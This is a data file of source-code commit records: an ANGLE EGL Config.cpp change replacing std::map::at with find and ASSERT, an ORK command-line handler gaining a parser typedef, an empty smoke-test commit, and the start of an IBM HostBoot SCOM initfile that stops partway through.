{"text":"<commit_before>\/\/\n\/\/ Copyright (c) 2002-2010 The ANGLE Project Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\/\/\n\n\/\/ Config.cpp: Implements the egl::Config class, describing the format, type\n\/\/ and size for an egl::Surface. Implements EGLConfig and related functionality.\n\/\/ [EGL 1.5] section 3.4 page 19.\n\n#include \"libANGLE\/Config.h\"\n#include \"libANGLE\/AttributeMap.h\"\n\n#include <algorithm>\n#include <vector>\n\n#include \"angle_gl.h\"\n#include <EGL\/eglext.h>\n\n#include \"common\/debug.h\"\n\nnamespace egl\n{\n\nConfig::Config()\n    : renderTargetFormat(GL_NONE),\n      depthStencilFormat(GL_NONE),\n      bufferSize(0),\n      redSize(0),\n      greenSize(0),\n      blueSize(0),\n      luminanceSize(0),\n      alphaSize(0),\n      alphaMaskSize(0),\n      bindToTextureRGB(EGL_FALSE),\n      bindToTextureRGBA(EGL_FALSE),\n      colorBufferType(EGL_NONE),\n      configCaveat(EGL_NONE),\n      configID(0),\n      conformant(0),\n      depthSize(0),\n      level(0),\n      matchNativePixmap(EGL_FALSE),\n      maxPBufferWidth(0),\n      maxPBufferHeight(0),\n      maxPBufferPixels(0),\n      maxSwapInterval(0),\n      minSwapInterval(0),\n      nativeRenderable(EGL_FALSE),\n      nativeVisualID(0),\n      nativeVisualType(0),\n      renderableType(0),\n      sampleBuffers(0),\n      samples(0),\n      stencilSize(0),\n      surfaceType(0),\n      transparentType(EGL_NONE),\n      transparentRedValue(0),\n      transparentGreenValue(0),\n      transparentBlueValue(0)\n{\n}\n\nEGLint ConfigSet::add(const Config &config)\n{\n    \/\/ Set the config's ID to a small number that starts at 1 ([EGL 1.5] section 3.4)\n    EGLint id = mConfigs.size() + 1;\n\n    Config copyConfig(config);\n    copyConfig.configID = id;\n    mConfigs.insert(std::make_pair(id, copyConfig));\n\n    return id;\n}\n\nconst Config &ConfigSet::get(EGLint id) const\n{\n    return mConfigs.at(id);\n}\n\nvoid ConfigSet::clear()\n{\n    mConfigs.clear();\n}\n\nsize_t ConfigSet::size() const\n{\n    return mConfigs.size();\n}\n\nbool ConfigSet::contains(const Config *config) const\n{\n    for (auto i = mConfigs.begin(); i != mConfigs.end(); i++)\n    {\n        const Config &item = i->second;\n        if (config == &item)\n        {\n            return true;\n        }\n    }\n\n    return false;\n}\n\n\/\/ Function object used by STL sorting routines for ordering Configs according to [EGL 1.5] section 3.4.1.2 page 28.\nclass ConfigSorter\n{\n  public:\n    explicit ConfigSorter(const AttributeMap &attributeMap)\n    {\n        scanForWantedComponents(attributeMap);\n    }\n\n    bool operator()(const Config *x, const Config *y) const\n    {\n        return (*this)(*x, *y);\n    }\n\n    bool operator()(const Config &x, const Config &y) const\n    {\n        #define SORT(attribute)                        \\\n            if (x.attribute != y.attribute)            \\\n            {                                          \\\n                return x.attribute < y.attribute;      \\\n            }\n\n        META_ASSERT(EGL_NONE < EGL_SLOW_CONFIG && EGL_SLOW_CONFIG < EGL_NON_CONFORMANT_CONFIG);\n        SORT(configCaveat);\n\n        META_ASSERT(EGL_RGB_BUFFER < EGL_LUMINANCE_BUFFER);\n        SORT(colorBufferType);\n\n        \/\/ By larger total number of color bits, only considering those that are requested to be > 0.\n        EGLint xComponentsSize = wantedComponentsSize(x);\n        EGLint yComponentsSize = wantedComponentsSize(y);\n        if (xComponentsSize != yComponentsSize)\n        {\n            return xComponentsSize > yComponentsSize;\n        }\n\n        SORT(bufferSize);\n        SORT(sampleBuffers);\n        SORT(samples);\n        SORT(depthSize);\n        SORT(stencilSize);\n        SORT(alphaMaskSize);\n        SORT(nativeVisualType);\n        SORT(configID);\n\n        #undef SORT\n\n        return false;\n    }\n\n  private:\n    void scanForWantedComponents(const AttributeMap &attributeMap)\n    {\n        \/\/ [EGL 1.5] section 3.4.1.2 page 30\n        \/\/ Sorting rule #3: by larger total number of color bits, not considering\n        \/\/ components that are 0 or don't-care.\n        for (auto attribIter = attributeMap.begin(); attribIter != attributeMap.end(); attribIter++)\n        {\n            EGLint attributeKey = attribIter->first;\n            EGLint attributeValue = attribIter->second;\n            if (attributeKey != 0 && attributeValue != EGL_DONT_CARE)\n            {\n                switch (attributeKey)\n                {\n                case EGL_RED_SIZE:       mWantRed = true; break;\n                case EGL_GREEN_SIZE:     mWantGreen = true; break;\n                case EGL_BLUE_SIZE:      mWantBlue = true; break;\n                case EGL_ALPHA_SIZE:     mWantAlpha = true; break;\n                case EGL_LUMINANCE_SIZE: mWantLuminance = true; break;\n                }\n            }\n        }\n    }\n\n    EGLint wantedComponentsSize(const Config &config) const\n    {\n        EGLint total = 0;\n\n        if (mWantRed)       total += config.redSize;\n        if (mWantGreen)     total += config.greenSize;\n        if (mWantBlue)      total += config.blueSize;\n        if (mWantAlpha)     total += config.alphaSize;\n        if (mWantLuminance) total += config.luminanceSize;\n\n        return total;\n    }\n\n    bool mWantRed;\n    bool mWantGreen;\n    bool mWantBlue;\n    bool mWantAlpha;\n    bool mWantLuminance;\n};\n\nstd::vector<const Config*> ConfigSet::filter(const AttributeMap &attributeMap) const\n{\n    std::vector<const Config*> result;\n    result.reserve(mConfigs.size());\n\n    for (auto configIter = mConfigs.begin(); configIter != mConfigs.end(); configIter++)\n    {\n        const Config &config = configIter->second;\n        bool match = true;\n\n        for (auto attribIter = attributeMap.begin(); attribIter != attributeMap.end(); attribIter++)\n        {\n            EGLint attributeKey = attribIter->first;\n            EGLint attributeValue = attribIter->second;\n\n            switch (attributeKey)\n            {\n              case EGL_BUFFER_SIZE:               match = config.bufferSize >= attributeValue;                        break;\n              case EGL_ALPHA_SIZE:                match = config.alphaSize >= attributeValue;                         break;\n              case EGL_BLUE_SIZE:                 match = config.blueSize >= attributeValue;                          break;\n              case EGL_GREEN_SIZE:                match = config.greenSize >= attributeValue;                         break;\n              case EGL_RED_SIZE:                  match = config.redSize >= attributeValue;                           break;\n              case EGL_DEPTH_SIZE:                match = config.depthSize >= attributeValue;                         break;\n              case EGL_STENCIL_SIZE:              match = config.stencilSize >= attributeValue;                       break;\n              case EGL_CONFIG_CAVEAT:             match = config.configCaveat == (EGLenum)attributeValue;             break;\n              case EGL_CONFIG_ID:                 match = config.configID == attributeValue;                          break;\n              case EGL_LEVEL:                     match = config.level >= attributeValue;                             break;\n              case EGL_NATIVE_RENDERABLE:         match = config.nativeRenderable == (EGLBoolean)attributeValue;      break;\n              case EGL_NATIVE_VISUAL_TYPE:        match = config.nativeVisualType == attributeValue;                  break;\n              case EGL_SAMPLES:                   match = config.samples >= attributeValue;                           break;\n              case EGL_SAMPLE_BUFFERS:            match = config.sampleBuffers >= attributeValue;                     break;\n              case EGL_SURFACE_TYPE:              match = (config.surfaceType & attributeValue) == attributeValue;    break;\n              case EGL_TRANSPARENT_TYPE:          match = config.transparentType == (EGLenum)attributeValue;          break;\n              case EGL_TRANSPARENT_BLUE_VALUE:    match = config.transparentBlueValue == attributeValue;              break;\n              case EGL_TRANSPARENT_GREEN_VALUE:   match = config.transparentGreenValue == attributeValue;             break;\n              case EGL_TRANSPARENT_RED_VALUE:     match = config.transparentRedValue == attributeValue;               break;\n              case EGL_BIND_TO_TEXTURE_RGB:       match = config.bindToTextureRGB == (EGLBoolean)attributeValue;      break;\n              case EGL_BIND_TO_TEXTURE_RGBA:      match = config.bindToTextureRGBA == (EGLBoolean)attributeValue;     break;\n              case EGL_MIN_SWAP_INTERVAL:         match = config.minSwapInterval == attributeValue;                   break;\n              case EGL_MAX_SWAP_INTERVAL:         match = config.maxSwapInterval == attributeValue;                   break;\n              case EGL_LUMINANCE_SIZE:            match = config.luminanceSize >= attributeValue;                     break;\n              case EGL_ALPHA_MASK_SIZE:           match = config.alphaMaskSize >= attributeValue;                     break;\n              case EGL_COLOR_BUFFER_TYPE:         match = config.colorBufferType == (EGLenum)attributeValue;          break;\n              case EGL_RENDERABLE_TYPE:           match = (config.renderableType & attributeValue) == attributeValue; break;\n              case EGL_MATCH_NATIVE_PIXMAP:       match = false; UNIMPLEMENTED();                                     break;\n              case EGL_CONFORMANT:                match = (config.conformant & attributeValue) == attributeValue;     break;\n              case EGL_MAX_PBUFFER_WIDTH:         match = config.maxPBufferWidth >= attributeValue;                   break;\n              case EGL_MAX_PBUFFER_HEIGHT:        match = config.maxPBufferHeight >= attributeValue;                  break;\n              case EGL_MAX_PBUFFER_PIXELS:        match = config.maxPBufferPixels >= attributeValue;                  break;\n              default: UNREACHABLE();\n            }\n\n            if (!match)\n            {\n                break;\n            }\n        }\n\n        if (match)\n        {\n            result.push_back(&config);\n        }\n    }\n\n    \/\/ Sort the result\n    std::sort(result.begin(), result.end(), ConfigSorter(attributeMap));\n\n    return result;\n}\n\n}\n<commit_msg>Do not use std::set::at in Config.cpp.<commit_after>\/\/\n\/\/ Copyright (c) 2002-2010 The ANGLE Project Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\/\/\n\n\/\/ Config.cpp: Implements the egl::Config class, describing the format, type\n\/\/ and size for an egl::Surface. Implements EGLConfig and related functionality.\n\/\/ [EGL 1.5] section 3.4 page 19.\n\n#include \"libANGLE\/Config.h\"\n#include \"libANGLE\/AttributeMap.h\"\n\n#include <algorithm>\n#include <vector>\n\n#include \"angle_gl.h\"\n#include <EGL\/eglext.h>\n\n#include \"common\/debug.h\"\n\nnamespace egl\n{\n\nConfig::Config()\n    : renderTargetFormat(GL_NONE),\n      depthStencilFormat(GL_NONE),\n      bufferSize(0),\n      redSize(0),\n      greenSize(0),\n      blueSize(0),\n      luminanceSize(0),\n      alphaSize(0),\n      alphaMaskSize(0),\n      bindToTextureRGB(EGL_FALSE),\n      bindToTextureRGBA(EGL_FALSE),\n      colorBufferType(EGL_NONE),\n      configCaveat(EGL_NONE),\n      configID(0),\n      conformant(0),\n      depthSize(0),\n      level(0),\n      matchNativePixmap(EGL_FALSE),\n      maxPBufferWidth(0),\n      maxPBufferHeight(0),\n      maxPBufferPixels(0),\n      maxSwapInterval(0),\n      minSwapInterval(0),\n      nativeRenderable(EGL_FALSE),\n      nativeVisualID(0),\n      nativeVisualType(0),\n      renderableType(0),\n      sampleBuffers(0),\n      samples(0),\n      stencilSize(0),\n      surfaceType(0),\n      transparentType(EGL_NONE),\n      transparentRedValue(0),\n      transparentGreenValue(0),\n      transparentBlueValue(0)\n{\n}\n\nEGLint ConfigSet::add(const Config &config)\n{\n    \/\/ Set the config's ID to a small number that starts at 1 ([EGL 1.5] section 3.4)\n    EGLint id = mConfigs.size() + 1;\n\n    Config copyConfig(config);\n    copyConfig.configID = id;\n    mConfigs.insert(std::make_pair(id, copyConfig));\n\n    return id;\n}\n\nconst Config &ConfigSet::get(EGLint id) const\n{\n    ASSERT(mConfigs.find(id) != mConfigs.end());\n    return mConfigs.find(id)->second;\n}\n\nvoid ConfigSet::clear()\n{\n    mConfigs.clear();\n}\n\nsize_t ConfigSet::size() const\n{\n    return mConfigs.size();\n}\n\nbool ConfigSet::contains(const Config *config) const\n{\n    for (auto i = mConfigs.begin(); i != mConfigs.end(); i++)\n    {\n        const Config &item = i->second;\n        if (config == &item)\n        {\n            return true;\n        }\n    }\n\n    return false;\n}\n\n\/\/ Function object used by STL sorting routines for ordering Configs according to [EGL 1.5] section 3.4.1.2 page 28.\nclass ConfigSorter\n{\n  public:\n    explicit ConfigSorter(const AttributeMap &attributeMap)\n    {\n        scanForWantedComponents(attributeMap);\n    }\n\n    bool operator()(const Config *x, const Config *y) const\n    {\n        return (*this)(*x, *y);\n    }\n\n    bool operator()(const Config &x, const Config &y) const\n    {\n        #define SORT(attribute)                        \\\n            if (x.attribute != y.attribute)            \\\n            {                                          \\\n                return x.attribute < y.attribute;      \\\n            }\n\n        META_ASSERT(EGL_NONE < EGL_SLOW_CONFIG && EGL_SLOW_CONFIG < EGL_NON_CONFORMANT_CONFIG);\n        SORT(configCaveat);\n\n        META_ASSERT(EGL_RGB_BUFFER < EGL_LUMINANCE_BUFFER);\n        SORT(colorBufferType);\n\n        \/\/ By larger total number of color bits, only considering those that are requested to be > 0.\n        EGLint xComponentsSize = wantedComponentsSize(x);\n        EGLint yComponentsSize = wantedComponentsSize(y);\n        if (xComponentsSize != yComponentsSize)\n        {\n            return xComponentsSize > yComponentsSize;\n        }\n\n        SORT(bufferSize);\n        SORT(sampleBuffers);\n        SORT(samples);\n        SORT(depthSize);\n        SORT(stencilSize);\n        SORT(alphaMaskSize);\n        SORT(nativeVisualType);\n        SORT(configID);\n\n        #undef SORT\n\n        return false;\n    }\n\n  private:\n    void scanForWantedComponents(const AttributeMap &attributeMap)\n    {\n        \/\/ [EGL 1.5] section 3.4.1.2 page 30\n        \/\/ Sorting rule #3: by larger total number of color bits, not considering\n        \/\/ components that are 0 or don't-care.\n        for (auto attribIter = attributeMap.begin(); attribIter != attributeMap.end(); attribIter++)\n        {\n            EGLint attributeKey = attribIter->first;\n            EGLint attributeValue = attribIter->second;\n            if (attributeKey != 0 && attributeValue != EGL_DONT_CARE)\n            {\n                switch (attributeKey)\n                {\n                case EGL_RED_SIZE:       mWantRed = true; break;\n                case EGL_GREEN_SIZE:     mWantGreen = true; break;\n                case EGL_BLUE_SIZE:      mWantBlue = true; break;\n                case EGL_ALPHA_SIZE:     mWantAlpha = true; break;\n                case EGL_LUMINANCE_SIZE: mWantLuminance = true; break;\n                }\n            }\n        }\n    }\n\n    EGLint wantedComponentsSize(const Config &config) const\n    {\n        EGLint total = 0;\n\n        if (mWantRed)       total += config.redSize;\n        if (mWantGreen)     total += config.greenSize;\n        if (mWantBlue)      total += config.blueSize;\n        if (mWantAlpha)     total += config.alphaSize;\n        if (mWantLuminance) total += config.luminanceSize;\n\n        return total;\n    }\n\n    bool mWantRed;\n    bool mWantGreen;\n    bool mWantBlue;\n    bool mWantAlpha;\n    bool mWantLuminance;\n};\n\nstd::vector<const Config*> ConfigSet::filter(const AttributeMap &attributeMap) const\n{\n    std::vector<const Config*> result;\n    result.reserve(mConfigs.size());\n\n    for (auto configIter = mConfigs.begin(); configIter != mConfigs.end(); configIter++)\n    {\n        const Config &config = configIter->second;\n        bool match = true;\n\n        for (auto attribIter = attributeMap.begin(); attribIter != attributeMap.end(); attribIter++)\n        {\n            EGLint attributeKey = attribIter->first;\n            EGLint attributeValue = attribIter->second;\n\n            switch (attributeKey)\n            {\n              case EGL_BUFFER_SIZE:               match = config.bufferSize >= attributeValue;                        break;\n              case EGL_ALPHA_SIZE:                match = config.alphaSize >= attributeValue;                         break;\n              case EGL_BLUE_SIZE:                 match = config.blueSize >= attributeValue;                          break;\n              case EGL_GREEN_SIZE:                match = config.greenSize >= attributeValue;                         break;\n              case EGL_RED_SIZE:                  match = config.redSize >= attributeValue;                           break;\n              case EGL_DEPTH_SIZE:                match = config.depthSize >= attributeValue;                         break;\n              case EGL_STENCIL_SIZE:              match = config.stencilSize >= attributeValue;                       break;\n              case EGL_CONFIG_CAVEAT:             match = config.configCaveat == (EGLenum)attributeValue;             break;\n              case EGL_CONFIG_ID:                 match = config.configID == attributeValue;                          break;\n              case EGL_LEVEL:                     match = config.level >= attributeValue;                             break;\n              case EGL_NATIVE_RENDERABLE:         match = config.nativeRenderable == (EGLBoolean)attributeValue;      break;\n              case EGL_NATIVE_VISUAL_TYPE:        match = config.nativeVisualType == attributeValue;                  break;\n              case EGL_SAMPLES:                   match = config.samples >= attributeValue;                           break;\n              case EGL_SAMPLE_BUFFERS:            match = config.sampleBuffers >= attributeValue;                     break;\n              case EGL_SURFACE_TYPE:              match = (config.surfaceType & attributeValue) == attributeValue;    break;\n              case EGL_TRANSPARENT_TYPE:          match = config.transparentType == (EGLenum)attributeValue;          break;\n              case EGL_TRANSPARENT_BLUE_VALUE:    match = config.transparentBlueValue == attributeValue;              break;\n              case EGL_TRANSPARENT_GREEN_VALUE:   match = config.transparentGreenValue == attributeValue;             break;\n              case EGL_TRANSPARENT_RED_VALUE:     match = config.transparentRedValue == attributeValue;               break;\n              case EGL_BIND_TO_TEXTURE_RGB:       match = config.bindToTextureRGB == (EGLBoolean)attributeValue;      break;\n              case EGL_BIND_TO_TEXTURE_RGBA:      match = config.bindToTextureRGBA == (EGLBoolean)attributeValue;     break;\n              case EGL_MIN_SWAP_INTERVAL:         match = config.minSwapInterval == attributeValue;                   break;\n              case EGL_MAX_SWAP_INTERVAL:         match = config.maxSwapInterval == attributeValue;                   break;\n              case EGL_LUMINANCE_SIZE:            match = config.luminanceSize >= attributeValue;                     break;\n              case EGL_ALPHA_MASK_SIZE:           match = config.alphaMaskSize >= attributeValue;                     break;\n              case EGL_COLOR_BUFFER_TYPE:         match = config.colorBufferType == (EGLenum)attributeValue;          break;\n              case EGL_RENDERABLE_TYPE:           match = (config.renderableType & attributeValue) == attributeValue; break;\n              case EGL_MATCH_NATIVE_PIXMAP:       match = false; UNIMPLEMENTED();                                     break;\n              case EGL_CONFORMANT:                match = (config.conformant & attributeValue) == attributeValue;     break;\n              case EGL_MAX_PBUFFER_WIDTH:         match = config.maxPBufferWidth >= attributeValue;                   break;\n              case EGL_MAX_PBUFFER_HEIGHT:        match = config.maxPBufferHeight >= attributeValue;                  break;\n              case EGL_MAX_PBUFFER_PIXELS:        match = config.maxPBufferPixels >= attributeValue;                  break;\n              default: UNREACHABLE();\n            }\n\n            if (!match)\n            {\n                break;\n            }\n        }\n\n        if (match)\n        {\n            result.push_back(&config);\n        }\n    }\n\n    \/\/ Sort the result\n    std::sort(result.begin(), result.end(), ConfigSorter(attributeMap));\n\n    return result;\n}\n\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*\nThis file is part of the ORK library.\nFull copyright and license terms can be found in the LICENSE.txt file.\n*\/\n#include<string>\n#include<sstream>\n\n#include\"ork\/command_Line.hpp\"\n\n\nnamespace ork {\n\nint invoke_main(const std::vector<string>&args, main_func f) {\n\tstd::vector<const char_t*>argv;\n\targv.push_back(ORK(\"this_should_be_the_invoked_command\"));\n\tfor(const string&arg : args)argv.push_back(arg.c_str());\n\n\tstring_stream cmd;\n\tfor(const char_t*const arg : argv) {\n\t\tcmd << arg << ORK(\" \");\n\t}\n\tORK_LOG(severity_level::info) << ORK(\"\\n -- Command Line: \") << cmd.str();\n\n\treturn f(static_cast<int>(argv.size()), argv.data());\n}\n\ncommand_handler::command_handler()\n\t: _desc_str()\/\/Initialized by call_add_options\n\t, _desc(BORK(\"Standard Options\"))\n\t, _vm() {}\n\n\nvoid command_handler::call_add_options() {\n\t_desc.add_options()\n\t\t(BORK(\"help,h\"), BORK(\"Produce help message\"));\/\/Short option aliases do not work until notify, so we can't use them for help\n\tadd_options(_desc);\n\n\tb_string_stream desc_byte;\n\tdesc_byte << _desc;\/\/string operation only defined for std::ostream\n\t_desc_str = ORK_BYTE_2_STR(desc_byte.str());\n}\n\n\nbool command_handler::process_commands(const options::basic_parsed_options<char_t>&ops) {\n\ttry {\n\t\toptions::store(ops, _vm);\n\t\tif(_vm.count(BORK(\"help\"))) {\/\/Check here to ignore any missing options\n\t\t\tORK_LOG(severity_level::info) << ORK('\\n') << _desc_str << ORK('\\n');\n\t\t\treturn false;\n\t\t}\n\t\toptions::notify(_vm);\/\/Exceptions for missing required options raised here\n\n\t\tstring_stream options;\n\t\toptions << ORK(\"\\n -- Command Line Options:\");\n\t\tfor(auto&option : _desc.options()) {\n\t\t\tconst bstring option_name = option->long_name();\n\t\t\tstring option_value = ORK(\"Unspecified\");\n\t\t\tif(_vm.count(option_name)) {\n\t\t\t\textract_option_value(option_name, option_value);\n\t\t\t}\n\t\t\toptions << ORK(\"\\n  - \") << ORK_BYTE_2_STR(option_name) << ORK(\": \") << option_value;\n\t\t}\n\t\tORK_LOG(severity_level::info) << options.str();\n\t}\n\tcatch(options::error &e) {\n\t\tORK_LOG(severity_level::error) << ORK(\"\\nProblem storing command line options:\\n  - \") << ORK_BYTE_2_STR(e.what());\n\t\tORK_LOG(severity_level::error) << ORK('\\n') << _desc_str << ORK('\\n');\n\t\treturn false;\n\t}\n\n\treturn true;\n}\n\n#define COMMAND_CATCH \\\n\tcatch(options::error &e) {\\\n\t\tORK_LOG(severity_level::error) << ORK(\"\\nProblem parsing command line options:\\n  - \") << ORK_BYTE_2_STR(e.what());\\\n\t\tORK_LOG(severity_level::error) << ORK('\\n') << _desc_str << ORK('\\n');\\\n\t\treturn false;\\\n\t}\n\n\nbool command_handler::operator()(const int argc, const char_t*const argv[]) {\n\ttry {\n\t\tcall_add_options();\n\t\toptions::basic_parsed_options<char_t>ops(options::parse_command_line<char_t>(argc, argv, _desc));\n\t\treturn process_commands(ops);\n\t}\n\tCOMMAND_CATCH\n}\n\n\nbool command_handler::operator()(const int argc, const char_t*const argv[], const bstring&positional_op) {\n\ttry {\n\t\tcall_add_options();\n\t\toptions::positional_options_description p;\n\t\tp.add(positional_op.c_str(), -1);\n\t\toptions::basic_parsed_options<char_t>ops(options::command_line_parser(argc, argv).options(_desc).positional(p).run());\n\t\treturn process_commands(ops);\n\t}\n\tCOMMAND_CATCH\n}\n\n\nbool command_handler::operator()(const bstring&env_prefix) {\n\ttry {\n\t\tcall_add_options();\n\t\toptions::basic_parsed_options<char_t>ops(options::parse_environment(_desc, env_prefix));\n\t\treturn process_commands(ops);\n\t}\n\tCOMMAND_CATCH\n}\n\n\nbool command_handler::operator()(std::istream&config_file) {\n\ttry {\n\t\tcall_add_options();\n\t\toptions::basic_parsed_options<char_t>ops(options::parse_config_file(config_file, _desc));\n\t\treturn process_commands(ops);\n\t}\n\tCOMMAND_CATCH\n}\n\n}\/\/namespace ork\n<commit_msg>Added a typedef for command parser<commit_after>\/*\nThis file is part of the ORK library.\nFull copyright and license terms can be found in the LICENSE.txt file.\n*\/\n#include<string>\n#include<sstream>\n\n#include\"ork\/command_Line.hpp\"\n\n\nnamespace ork {\n\nint invoke_main(const std::vector<string>&args, main_func f) {\n\tstd::vector<const char_t*>argv;\n\targv.push_back(ORK(\"this_should_be_the_invoked_command\"));\n\tfor(const string&arg : args)argv.push_back(arg.c_str());\n\n\tstring_stream cmd;\n\tfor(const char_t*const arg : argv) {\n\t\tcmd << arg << ORK(\" \");\n\t}\n\tORK_LOG(severity_level::info) << ORK(\"\\n -- Command Line: \") << cmd.str();\n\n\treturn f(static_cast<int>(argv.size()), argv.data());\n}\n\ncommand_handler::command_handler()\n\t: _desc_str()\/\/Initialized by call_add_options\n\t, _desc(BORK(\"Standard Options\"))\n\t, _vm() {}\n\n\nvoid command_handler::call_add_options() {\n\t_desc.add_options()\n\t\t(BORK(\"help,h\"), BORK(\"Produce help message\"));\/\/Short option aliases do not work until notify, so we can't use them for help\n\tadd_options(_desc);\n\n\tb_string_stream desc_byte;\n\tdesc_byte << _desc;\/\/string operation only defined for std::ostream\n\t_desc_str = ORK_BYTE_2_STR(desc_byte.str());\n}\n\n\nbool command_handler::process_commands(const options::basic_parsed_options<char_t>&ops) {\n\ttry {\n\t\toptions::store(ops, _vm);\n\t\tif(_vm.count(BORK(\"help\"))) {\/\/Check here to ignore any missing options\n\t\t\tORK_LOG(severity_level::info) << ORK('\\n') << _desc_str << ORK('\\n');\n\t\t\treturn false;\n\t\t}\n\t\toptions::notify(_vm);\/\/Exceptions for missing required options raised here\n\n\t\tstring_stream options;\n\t\toptions << ORK(\"\\n -- Command Line Options:\");\n\t\tfor(auto&option : _desc.options()) {\n\t\t\tconst bstring option_name = option->long_name();\n\t\t\tstring option_value = ORK(\"Unspecified\");\n\t\t\tif(_vm.count(option_name)) {\n\t\t\t\textract_option_value(option_name, option_value);\n\t\t\t}\n\t\t\toptions << ORK(\"\\n  - \") << ORK_BYTE_2_STR(option_name) << ORK(\": \") << option_value;\n\t\t}\n\t\tORK_LOG(severity_level::info) << options.str();\n\t}\n\tcatch(options::error &e) {\n\t\tORK_LOG(severity_level::error) << ORK(\"\\nProblem storing command line options:\\n  - \") << ORK_BYTE_2_STR(e.what());\n\t\tORK_LOG(severity_level::error) << ORK('\\n') << _desc_str << ORK('\\n');\n\t\treturn false;\n\t}\n\n\treturn true;\n}\n\n#define COMMAND_CATCH \\\n\tcatch(options::error &e) {\\\n\t\tORK_LOG(severity_level::error) << ORK(\"\\nProblem parsing command line options:\\n  - \") << ORK_BYTE_2_STR(e.what());\\\n\t\tORK_LOG(severity_level::error) << ORK('\\n') << _desc_str << ORK('\\n');\\\n\t\treturn false;\\\n\t}\n\n\nbool command_handler::operator()(const int argc, const char_t*const argv[]) {\n\ttry {\n\t\tcall_add_options();\n\t\toptions::basic_parsed_options<char_t>ops(options::parse_command_line<char_t>(argc, argv, _desc));\n\t\treturn process_commands(ops);\n\t}\n\tCOMMAND_CATCH\n}\n\n\n#if ORK_UNICODE\nusing command_line_parser = options::basic_command_line_parser<wchar_t>;\n#else\nusing command_line_parser = options::basic_command_line_parser<char>;\n#endif\n\n\nbool command_handler::operator()(const int argc, const char_t*const argv[], const bstring&positional_op) {\n\ttry {\n\t\tcall_add_options();\n\t\toptions::positional_options_description p;\n\t\tp.add(positional_op.c_str(), -1);\n\t\toptions::basic_parsed_options<char_t>ops(command_line_parser(argc, argv).options(_desc).positional(p).run());\n\t\treturn process_commands(ops);\n\t}\n\tCOMMAND_CATCH\n}\n\n\nbool command_handler::operator()(const bstring&env_prefix) {\n\ttry {\n\t\tcall_add_options();\n\t\toptions::basic_parsed_options<char_t>ops(options::parse_environment(_desc, env_prefix));\n\t\treturn process_commands(ops);\n\t}\n\tCOMMAND_CATCH\n}\n\n\nbool command_handler::operator()(std::istream&config_file) {\n\ttry {\n\t\tcall_add_options();\n\t\toptions::basic_parsed_options<char_t>ops(options::parse_config_file(config_file, _desc));\n\t\treturn process_commands(ops);\n\t}\n\tCOMMAND_CATCH\n}\n\n}\/\/namespace ork\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>test: add smoke-crud-onerow.<commit_after><|endoftext|>"}
{"text":"<commit_before>\/* IBM_PROLOG_BEGIN_TAG                                                   *\/\n\/* This is an automatically generated prolog.                             *\/\n\/*                                                                        *\/\n\/* $Source: src\/import\/chips\/p9\/procedures\/hwp\/initfiles\/p9_vas_scom.C $  *\/\n\/*                                                                        *\/\n\/* OpenPOWER HostBoot Project                                             *\/\n\/*                                                                        *\/\n\/* Contributors Listed Below - COPYRIGHT 2016,2019                        *\/\n\/* [+] International Business Machines Corp.                              *\/\n\/*                                                                        *\/\n\/*                                                                        *\/\n\/* Licensed under the Apache License, Version 2.0 (the \"License\");        *\/\n\/* you may not use this file except in compliance with the License.       *\/\n\/* You may obtain a copy of the License at                                *\/\n\/*                                                                        *\/\n\/*     http:\/\/www.apache.org\/licenses\/LICENSE-2.0                         *\/\n\/*                                                                        *\/\n\/* Unless required by applicable law or agreed to in writing, software    *\/\n\/* distributed under the License is distributed on an \"AS IS\" BASIS,      *\/\n\/* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or        *\/\n\/* implied. See the License for the specific language governing           *\/\n\/* permissions and limitations under the License.                         *\/\n\/*                                                                        *\/\n\/* IBM_PROLOG_END_TAG                                                     *\/\n#include \"p9_vas_scom.H\"\n#include <stdint.h>\n#include <stddef.h>\n#include <fapi2.H>\n\nusing namespace fapi2;\n\nconstexpr uint64_t literal_0x00200102000D7FFF = 0x00200102000D7FFF;\nconstexpr uint64_t literal_0x0000000000000000 = 0x0000000000000000;\nconstexpr uint64_t literal_0 = 0;\nconstexpr uint64_t literal_0x00DD0201C0000000 = 0x00DD0201C0000000;\nconstexpr uint64_t literal_0x00DF0201C0000000 = 0x00DF0201C0000000;\nconstexpr uint64_t literal_0x0080000000000000 = 0x0080000000000000;\nconstexpr uint64_t literal_0x1 = 0x1;\nconstexpr uint64_t literal_0xFC = 0xFC;\n\nfapi2::ReturnCode p9_vas_scom(const fapi2::Target<fapi2::TARGET_TYPE_PROC_CHIP>& TGT0,\n                              const fapi2::Target<fapi2::TARGET_TYPE_SYSTEM>& TGT1)\n{\n    {\n        fapi2::ATTR_EC_Type   l_chip_ec;\n        fapi2::ATTR_NAME_Type l_chip_id;\n        FAPI_TRY(FAPI_ATTR_GET_PRIVILEGED(fapi2::ATTR_NAME, TGT0, l_chip_id));\n        FAPI_TRY(FAPI_ATTR_GET_PRIVILEGED(fapi2::ATTR_EC, TGT0, l_chip_ec));\n        fapi2::ATTR_CHIP_EC_FEATURE_HW414700_Type l_TGT0_ATTR_CHIP_EC_FEATURE_HW414700;\n        FAPI_TRY(FAPI_ATTR_GET(fapi2::ATTR_CHIP_EC_FEATURE_HW414700, TGT0, l_TGT0_ATTR_CHIP_EC_FEATURE_HW414700));\n        fapi2::ATTR_FABRIC_ADDR_EXTENSION_GROUP_ID_Type l_TGT1_ATTR_FABRIC_ADDR_EXTENSION_GROUP_ID;\n        FAPI_TRY(FAPI_ATTR_GET(fapi2::ATTR_FABRIC_ADDR_EXTENSION_GROUP_ID, TGT1, l_TGT1_ATTR_FABRIC_ADDR_EXTENSION_GROUP_ID));\n        fapi2::ATTR_FABRIC_ADDR_EXTENSION_CHIP_ID_Type l_TGT1_ATTR_FABRIC_ADDR_EXTENSION_CHIP_ID;\n        FAPI_TRY(FAPI_ATTR_GET(fapi2::ATTR_FABRIC_ADDR_EXTENSION_CHIP_ID, TGT1, l_TGT1_ATTR_FABRIC_ADDR_EXTENSION_CHIP_ID));\n        fapi2::ATTR_PROC_FABRIC_PUMP_MODE_Type l_TGT1_ATTR_PROC_FABRIC_PUMP_MODE;\n        FAPI_TRY(FAPI_ATTR_GET(fapi2::ATTR_PROC_FABRIC_PUMP_MODE, TGT1, l_TGT1_ATTR_PROC_FABRIC_PUMP_MODE));\n        fapi2::buffer<uint64_t> l_scom_buffer;\n        {\n            